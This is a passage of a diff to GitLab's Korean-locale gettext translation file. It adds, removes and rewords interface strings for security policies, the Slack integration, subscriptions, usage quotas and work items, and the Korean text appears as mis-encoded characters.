+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36148,9 +36803,6 @@ msgstr "프로ì íŠ¸ 검색"
msgid "Search projects"
msgstr "프로ì íŠ¸ 검색"
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36507,6 +37159,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36528,6 +37189,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr "작업 추가"
+msgid "SecurityOrchestration|Add new approver"
+msgstr "새 승ì¸ìž 추가"
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -36807,7 +37471,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -36870,10 +37534,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -36888,6 +37552,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr "ë˜ëŠ” %{approverType}%{approvers} ë¡œ 부터"
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -36957,9 +37624,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr "취약ì ì´ 없는 경우는 드물지만 ë°œìƒí•  수 있습니다. ì„¤ì •ì„ í™•ì¸í•˜ì—¬ 대시보드를 올바르게 설정했는지 확ì¸í•˜ì„¸ìš”."
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37179,9 +37843,6 @@ msgstr "ì•„ì§ ê°ì§€ë¨"
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37209,6 +37870,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37239,9 +37903,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37260,9 +37921,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38041,6 +38699,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38255,9 +38916,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr "%{error}으로 ì¸í•´ 로그ì¸ì— 실패했습니다."
-
msgid "Sign-in page"
msgstr ""
@@ -38384,9 +39042,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38417,6 +39072,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38444,10 +39105,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38459,22 +39120,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38972,6 +39627,12 @@ msgstr "소스 IP"
msgid "Source branch"
msgstr "소스 브랜치"
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39167,15 +39828,15 @@ msgstr "ì´ ë³€ê²½ 사항으로 %{new_merge_request} ì„ ì‹œìž‘í•˜ì‹­ì‹œì˜¤."
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "리뷰 시작"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39665,18 +40326,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -39893,6 +40572,9 @@ msgstr "ì¢Œì„ ë¶ˆì¼ì¹˜ë¡œ ì¸í•´ 활성화할 수 없습니다."
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr "true-up ê°’ 불ì¼ì¹˜ë¡œ ì¸í•´ 활성화할 수 ì—†ìŒ"
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr "구ë…ì„ ì¶”ê°€í•˜ëŠ” ë™ì•ˆ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤"
@@ -39911,7 +40593,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -39932,9 +40614,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40422,15 +41101,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr "터미ë„"
@@ -40461,6 +41131,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40723,9 +41408,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "í¬í¬ 관계가 제거ë˜ì—ˆìŠµë‹ˆë‹¤."
@@ -41125,6 +41810,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41329,6 +42017,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41677,6 +42368,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -41779,21 +42473,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr "ì´ ì»¤ë°‹ì€ ì¸ì¦ëœ 서명으로 서명ë˜ì—ˆì§€ë§Œ 커미터 ì´ë©”ì¼ì€ GPG 키와 ì¼ì¹˜í•˜ì§€ 않습니다."
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42016,6 +42716,9 @@ msgstr "ì´ ìž‘ì—…ì€ ì´ë ¥ì´ 남아 있지 않습니다."
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "ì´ ìž‘ì—…ì€ ì·¨ì†Œë˜ì—ˆìŠµë‹ˆë‹¤"
@@ -42091,9 +42794,6 @@ msgstr "ì´ ìž‘ì—…ì€ ë¦¬ì†ŒìŠ¤ë¥¼ 기다리고 있습니다. "
msgid "This job requires a manual action"
msgstr "ì´ ìž‘ì—…ì—는 ìˆ˜ë™ ìž‘ì—…ì´ í•„ìš”í•©ë‹ˆë‹¤."
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42298,7 +42998,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42738,6 +43438,10 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "SVN 저장소ì—ì„œ 가져오려면, %{svn_link}(ì„)를 확ì¸í•˜ì„¸ìš”."
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -42954,7 +43658,7 @@ msgstr "ë‹¹ì‹ ì˜ í•  ì¼ ëª©ë¡ì€ 다ìŒì— 해야 í•  ì¼ì„ ë³´ì—¬ì¤ë‹ˆë‹¤.
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43251,24 +43955,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43372,15 +44064,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43552,6 +44241,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43594,6 +44286,9 @@ msgstr "ì°¨ì´ì ì„ ì½ì–´ë“¤ì¼ 수 없습니다. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -43774,6 +44469,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "별표 제거"
@@ -43813,6 +44511,9 @@ msgstr ""
msgid "Unverified"
msgstr "ê²€ì¦ë˜ì§€ ì•ŠìŒ"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "최신 ìƒíƒœìž…니다"
@@ -43882,6 +44583,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44044,15 +44748,9 @@ msgstr "그룹 설정 &gt; 사용 할당량"
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr "ì¼ì‹œì ìœ¼ë¡œ 저장 공간 확장"
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44083,15 +44781,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr "파ì´í”„ë¼ì¸"
-msgid "UsageQuota|Purchase more storage"
-msgstr "추가 저장 공간 구매"
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr "구매한 저장 공간 사용 가능"
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44149,24 +44841,12 @@ msgstr "네임스페ì´ìŠ¤ëŠ” 현재 %{strong_start}%{used_storage}%{strong_end}
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr "ì´ ë„¤ìž„ìŠ¤íŽ˜ì´ìŠ¤ì˜ 프로ì íŠ¸ì—ì„œ ì´ ì‚¬ìš©ì¤‘ì¸ ì €ìž¥ 공간입니다."
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr "ì´ ë„¤ìž„ìŠ¤íŽ˜ì´ìŠ¤ 저장 공간 사용량"
-
msgid "UsageQuota|Uploads"
msgstr "업로드"
@@ -44194,9 +44874,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr "ë‚´ 프로ì íŠ¸ì˜ 리소스 사용량"
-msgid "UsageQuota|Usage quotas help link"
-msgstr "사용량 제한 ë„움 ë§í¬"
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr "ì‚¬ìš©ìž ì„¤ì • &gt; 사용 할당량"
@@ -44215,15 +44892,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44380,6 +45051,9 @@ msgstr "템플릿 사용"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44435,6 +45109,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44609,9 +45289,6 @@ msgstr "(ë°”ì¨)"
msgid "UserProfile|Activity"
msgstr "활ë™"
-msgid "UserProfile|Already reported for abuse"
-msgstr "ì´ë¯¸ 악용으로 ì‹ ê³ ë˜ì—ˆìŠµë‹ˆë‹¤."
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44678,12 +45355,12 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr "구ë…"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr ""
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "ì´ ì‚¬ìš©ìžëŠ” 팔로워가 없습니다."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr ""
-
msgid "UserProfile|This user has a private profile"
msgstr ""
@@ -44849,10 +45526,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45044,6 +45718,9 @@ msgstr ""
msgid "Verified"
msgstr "ê²€ì¦ë¨"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45056,9 +45733,6 @@ msgstr ""
msgid "Version"
msgstr "버전"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr "ë³´ê³ ì„œ 유형 %{report_type} ì˜ ë²„ì „ %{report_version} ì€ ë” ì´ìƒ 사용ë˜ì§€ 않으며 ì´ ë³´ê³ ì„œ ìœ í˜•ì— ì§€ì›ë˜ëŠ” ë²„ì „ì€ %{supported_schema_versions}입니다. GitLabì€ ìœ íš¨í•œ 경우 ì´ ë³´ê³ ì„œë¥¼ 구문 분ì„하고 수집하려고 ì‹œë„합니다."
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr "ë³´ê³ ì„œ 유형 %{report_type} ì— ëŒ€í•œ 버전 %{report_version} ì€ ì§€ì›ë˜ì§€ 않으며 ì´ ë³´ê³ ì„œ ìœ í˜•ì— ëŒ€í•´ 지ì›ë˜ëŠ” ë²„ì „ì€ %{supported_schema_versions}입니다. GitLabì€ ëª¨ë“  오류를 표시하기 위해 ì´ ë³´ê³ ì„œ ìœ í˜•ì˜ ì§€ì›ë˜ëŠ” 가장 ì˜¤ëž˜ëœ ë²„ì „ì— ëŒ€í•´ ì´ ë³´ê³ ì„œì˜ ìœ íš¨ì„±ì„ ê²€ì‚¬í•˜ë ¤ê³  ì‹œë„하지만 보고서를 수집하지는 않습니다."
@@ -45128,6 +45802,9 @@ msgstr ""
msgid "View all projects"
msgstr "모든 프로ì íŠ¸ 보기"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45220,6 +45897,9 @@ msgstr "로그 보기"
msgid "View logs"
msgstr "로그 보기"
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45251,6 +45931,9 @@ msgstr[0] ""
msgid "View replaced file @ "
msgstr "êµì²´ëœ íŒŒì¼ ë³´ê¸° @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45263,6 +45946,9 @@ msgstr ""
msgid "View the documentation"
msgstr "문서 보기"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45287,9 +45973,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr "공개 범위 ë° ì•¡ì„¸ìŠ¤ 설정"
@@ -46022,10 +46705,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46471,9 +47154,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46559,6 +47254,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr "작업 펼침"
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr "ì¸ì‹œë˜íŠ¸"
@@ -46568,7 +47266,7 @@ msgstr "ì´ìŠˆ"
msgid "WorkItem|Iteration"
msgstr "반복"
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46601,8 +47299,8 @@ msgstr "ì—†ìŒ"
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
-msgstr "최소 리í¬í„° ì—­í•  ì´ìƒì˜ 프로ì íŠ¸ 구성ì›ê³¼ 작성ìž, 그리고 담당ìžë§Œ ì´ ìž‘ì—…ì„ ë³´ê±°ë‚˜ ì•Œë¦¼ì„ ë°›ì„ ìˆ˜ 있습니다."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
+msgstr ""
msgid "WorkItem|Open"
msgstr ""
@@ -46655,6 +47353,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46676,6 +47380,12 @@ msgstr "태스í¬"
msgid "WorkItem|Test case"
msgstr "테스트 ì¼€ì´ìŠ¤"
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr "ì´ ìž‘ì—… í•­ëª©ì€ ì‚¬ìš©í•  수 없습니다. 존재하지 않거나 ë³¼ 수 있는 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤."
@@ -46779,6 +47489,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -46911,9 +47624,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr "ë¼ë²¨ì— 별표를 붙여 우선순위 ë¼ë²¨ì„ 만들 ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤."
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47004,6 +47714,9 @@ msgstr "%{project_name} ì— ìƒˆ 회ì›ì„ 초대할 수 있습니다."
msgid "You can invite another group to %{project_name}."
msgstr "%{project_name} ì— ë‹¤ë¥¸ ê·¸ë£¹ì„ ì´ˆëŒ€í•  수 있습니다.."
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "화살표 키를 사용하여 그래프를 움ì§ì¼ 수 있습니다."
@@ -47043,9 +47756,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
